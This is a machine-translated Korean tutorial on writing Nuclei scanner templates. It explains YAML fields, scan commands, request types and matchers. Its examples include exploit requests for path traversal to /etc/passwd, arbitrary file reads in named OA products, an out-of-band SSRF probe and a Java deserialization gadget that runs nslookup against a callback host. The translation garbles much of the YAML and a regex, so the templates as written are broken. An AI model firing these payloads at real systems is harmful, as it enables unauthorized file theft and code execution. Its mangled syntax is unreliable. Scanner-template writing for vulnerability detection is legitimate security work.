제목 : 핵 템플릿 쓰기 요약

一、脚本的语法格式​

사례 감도
들여 쓰기 : 계층 적 관계를 나타내려면 들여 쓰기를 사용하고, Yaml은 공간을 사용하여 보통缩进级别为两个空格을 각각 묶습니다.
키 값 쌍 : Yaml은 콜론 :으로 분리 된 키 값 쌍을 통해 데이터를 저장합니다.
목록 : 짧은 수평선을 사용하여 목록의 항목을 나타냅니다.
댓글 : #로 시작하는 줄은 주석입니다.
문자열 : 문자열은 따옴표 또는 단일 또는 이중 인용문이 없을 수 있습니다.
ID에는 중국어, 특수 문자 및 공백 등을 가질 수 없습니다. ID 매개 변수는 출력 제목으로 이해할 수 있습니다. 더 빨리 판단 할 수있는 간단하고 이해하기 쉬운 ID입니다.
정보 : 정보 블록, 이름, 저자, 심각도, 설명, 참조 및 레이블은 모두 정보 블록의 범위에 속합니다. 일반적으로名称、作者、严重性、描述、标签항목 만 작성하면됩니다
이름 : 템플릿 이름,이 제안은 ID와 동일합니다.
심각도 : 심각도, 중국어는 여기서 사용할 수 없으며 일반적으로critical、hight、Medium、info은 위협 수준을 나타내는 데 사용됩니다.
설명 : 취약점 소개, 중국어는 여기에서 사용할 수 있으며 특수 문자는 제한되지 않습니다. 일반적으로 취약성 소개에 사용되며, 이는 사용자가 취약성에 대한 구체적인 설명을 이해하도록 촉진 할 수 있습니다.
태그 : 태그는 쉬운 스캔을 위해 취약점에 태그를 추가해야합니다.
나는 핵의 YAML 스크립트를 매일 씁니다. Nuclei에는 쿠키 반영 속성이 내장되어 있습니다. 여러 요청이 시작되면 세션을 유지해야합니다. 여러 요청 중에 세션을 유지하기 위해 Cookie-Reuse:을 추가 할 수 있습니다. 인증이있을 때 유용합니다.
경기가 실패하면 -debug를 사용하여 요청 패키지를 가져 와서 디버깅을 위해 패키지를 반환 할 수 있습니다. 버프를 사용하여 패키지를 캡처하고 요청 패키지 내용을 직접 붙여 넣습니다.

二、Nuclei常用命令​

1. 템플릿 형식을 확인하십시오
핵 -t test.yaml -Validate
2. 템플릿과 대상을 지정하십시오
Nuclei -t test.yaml -u http://exam.com
3. 배치 스캔
핵 -t test.yaml -l target.txt
4. Socks5 프록시 스캔을 지정하십시오
Nuclei -t test.yaml -u http://exam.com -p socks5: //127.0.1:7890

三、脚本示例​

ID: 파일-인식 #템플릿의 고유 식별자
info: #이름, 저자, 버전 및와 같은 템플릿의 기본 정보를 포함합니다.
Name: 파일에는 #스크립트 이름이 포함되어 있습니다
author: bakclion #template 저자
심각도 : High #Security 레벨 선택 사항은 정보, 낮음, 중간, 높음, 중요, 미지산입니다.
설명 : 촬영 범위 테스트를위한 핵 템플릿 #설명 템플릿 콘텐츠
참조 3: http://www.baidu.com #reference Source
TAGS: 테스트 #범주 태그
requests: #대상과 상호 작용하는 방법의 요청 섹션을 정의합니다.
-Method: get 또는 post와 같은 #http 메소드 받기
Path: #요청 경로
- '{{baseurl}}/vul/dir/dir_list.php? title=././././././././etc/passwd'
헤더 : #request 헤더
user-agent: 'Mozilla/5.0 (Windows NT 10.0; win64; x64) Applewebkit/537.36 (Gecko와 같은 KHTML) Chrome/114.0.0.0 Safari/537.36'
경기자 :
-type: 상태 #백팩 상태 메일
상태 :
- 200
-type: regex #match 리턴 컨텐츠
Part: 본체
Regex:
- '루트 33333333333333:ROOT:/root:/bin/bash'

四、脚本组成​

1.开头​

ID: Landray-OA-Fileread
정보 :
이름 : Landray-OA-Fileread
author: 백 레이온
심각도 : 높음
설명 : |
Lanling OA Custom.jsp 임의의 파일 읽기 취약점,이 OA
fofa: app='Landray-OA System'
참조 3: https://github.com/backslion
Tags: Fileread, Landray

2.请求​

Get​

요청 :
-Method: GET
Path:
- '{{baseurl}}/seeyon/webmail.do? method=dodownloadattfilename=index.jspfilepath=./conf/datasourcectp.properties'

POST​

요청 :
-Method: 게시물
Path:
- '{{baseurl}}/sys/ui/extend/varkind/custom.jsp'
헤더 :
Content-Type: Application/X-WWW-FORM-URLENCODED
body: 'var={'body': { 'file':'file: //etc/passwd'}} '

RAW​

요청 :
-RAW:
- |
post /spirit/interface/gateway.php http/1.1
host: {{hostname}}
Content-Type: Application/X-WWW-FORM-URLENCODED
json={ 'url':'/general /././mysql5/my.ini '}

跳转​

-Method: get
Path:
- '{{baseurl}}'
리디렉션 3: true
MAX-REDIRECTS: 2
또는
요청 :
-RAW:
- |
get/zentao/api-getmodel-editor-save-filepath=bote http/1.1
리디렉션 3: true
MAX-REDIRECTS: 3

路径

요청의 다음 부분은 요청의 경로입니다. 동적 변수는 런타임시 동작을 수정하기 위해 경로에 배치 할 수 있습니다. 변수는 {{and}}로 시작하여 사례에 민감하게 끝납니다.
{{hostname}} : 호스트 이름을 나타내는 일반적으로 사용되는 예약 된 단어입니다.
{{randstr}} : 이것은 임의의 문자열입니다.
{{rand_int (1,9999)}} : 이것은 1에서 9999 사이의 임의의 정수를 생성하는 예약 된 단어입니다.
{{baseurl}} : 완전한 기본 URL을 나타냅니다 (예 : https://example.com:443/foo/bar.php).
{{rooturl}} : https://example.com3360443과 같은 경로 및 파일이 포함되지 않은 기본 URL을 나타냅니다.
{{host}} : example.com과 같은 호스트 이름을 나타냅니다.
{{port}} : 예를 들어 포트 번호, 예를 들어 443을 나타냅니다.
{{path}} : /seeyon /로그인과 같은 경로를 나타냅니다.
{{file}} : bar.php와 같은 파일 이름을 나타냅니다.
{{scheme}} : https와 같은 프로토콜을 나타냅니다.
{{hex_decode ( '')}} : 이것은 16 진수로 디코딩 된 예약 된 단어입니다.
MD5 () : 이것은 MD5에 의해 변환 된 예약 된 단어입니다
가변 값
{{baseurl}} https://example.com:443/foo/bar.php
{{rooturl}} https://example.com:443
{{hostname}} example.com:443
{{host}} example.com
{{port}} 443
{{path}} /foo
{{file}} bar.php
{{scheme}} https

stop-at-first-match​

일반적인 아이디어는 템플릿에 여러 개의 스캔 경로가 있다는 것입니다. 첫 번째 적중이 발생하면 다음 여러 경로의 스캔이 자동으로 중지됩니다. 물론 이것은 다른 템플릿에 영향을 미치지 않습니다.
요청 :
-Method: GET
Path:
- '{{baseurl}}'
- '{{baseurl}}/로그인'
- '{{baseurl}}/main'
- '{{baseurl}}/index'
최초의 중지 3: True

OOB​

Nuclei v2.3.6의 출시 이후, Nuclei는 OOB 기반 취약성 스캔을 구현하기 위해 Interact.sh API의 내장 자동 요청 연관의 사용을 지원합니다. 요청의 어느 곳에서나 {{interactsh-url}}을 쓰고 interact_protocol의 매치자를 추가하는 것만 큼 간단합니다. Nuclei는 템플릿과의 상호 작용의 상관 관계와 Easy OOB 스캔을 허용하여 생성 된 요청의 상관 관계를 처리합니다.
요청 :
-RAW:
- |
get/plugins/servlet/oauth/users/icon-uri? consumeruri=https://{{interactsh-url}} http/1.1
host: {{hostname}}

JAVA反序列化​

RAW:
- |
post /index.faces;jsessionid=x http /1.1
host: {{hostname}}
accept-encoding: gzip, deflate
컨텐츠 길이 : 1882
accept: 텍스트/html, 응용 프로그램/xhtml+xml, application/xml; q=0.9,*/*; q=0.8
Connection: 닫기
Content-Type: Application/X-WWW-FORM-URLENCODED
javax.faces.viewstate={{generate_java_gadget ( 'commons_collection3.1', 'nslookup {{interact.sh}}', 'base64')}}

3.匹配器​

MATCHERS-CONDITION : 및 #리얼리즘 작업의 일치하는 결과의 #REALISTIC 작업 : and | or, 동시에 조건을 충족시킵니다.
경기자 :
-type: dsl #matcher 유형 상태 | 단어 | 크기 | 이진 | Regex | dsl
DSL: #데이터 일치 용 DSL 구문 (! 참고 : 더 유연하고 복잡한 일치, 권장) stringslice
- 'status_code_1==200 states_code_2==302'
- 'All_headers_1=='admin 'All_headers_2=='index ''
조건 : 및 #Need 위의 두 조건을 동시에 충족시키기 위해 #Need
-type: Word
Words: #return 패키지 매칭 텍스트 (! 참고 : 단어 유형은 여기에서 더 특별하며 일치하는 항목을 위해 단어를 사용해야합니다) stringslice
- 'admin.php'
- '61646D696E2E706870'
- '{{match_str}}'
인코딩 : Hex # Encoder, 반환 된 추출 된 데이터를 인코딩하고 단어 내용과 일치합니다 (! 참고 : HEX 만 지원됩니다) HEX
#다음 설정은 기본적으로 일반적입니다 (! 참고 : DSL 유형을 제외하고)
Part: 헤더 #데이터가 반환되는 영역을 읽습니다 | Body | Body | 설정 없음 설정이 전체 일치를 나타냅니다 | Interactsh_Protocol | interactsh_Request (! 참고 : dnslog 서버는 데이터를 반환하고 {{interactsh-url}}과 함께 패킷에 사용해야합니다.
조건 : 또는 #Match 결과 논리적 작동 및 | 또는
부정적인 3: true #ininsin verse the matching result, 조건과 결합하여보다 유연한 조합 방법을 달성 할 수 있습니다. 참 | 거짓
-type: 상태
STRIGUTE: #MATHER 유형과 동일하며 현재 패킷 상태 코드 intslice, 200 또는 302를 반환합니다.
- 200
-type: Regex
REGEX: #데이터 일치 STRINGSLICE에 대한 규칙적
- '.*\ admin.php.*'
-type: 바이너리
binary: #데이터 일치 stringslice 용 바이너리
- '61646D696E2E706870'
-type: 크기
Size: #패킷 데이터 크기 (참고 : 신체 데이터 참조) intslice
-1234
DSL은 일반적으로 다음 내장 기능을 포함하여 복잡한 논리적 판단에 사용됩니다.
변수 이름 설명 예제 출력 데이터 content_length
컨텐츠 길이 헤더
content_length
12345
상태 _code
응답 상태 코드
상태 _code
200
all_headers
헤더 정보로 돌아갑니다

신체 정보를 반환합니다
body_1
header_name
헤더, 모든 소문자의 주요 값 정보를 반환하고 - _로 대체합니다.
user_agent
xxxx
header_name
헤더, 모든 소문자의 주요 값 정보를 반환하고 - _로 대체합니다.
set_cookie
xxx=
 
뒤로
상단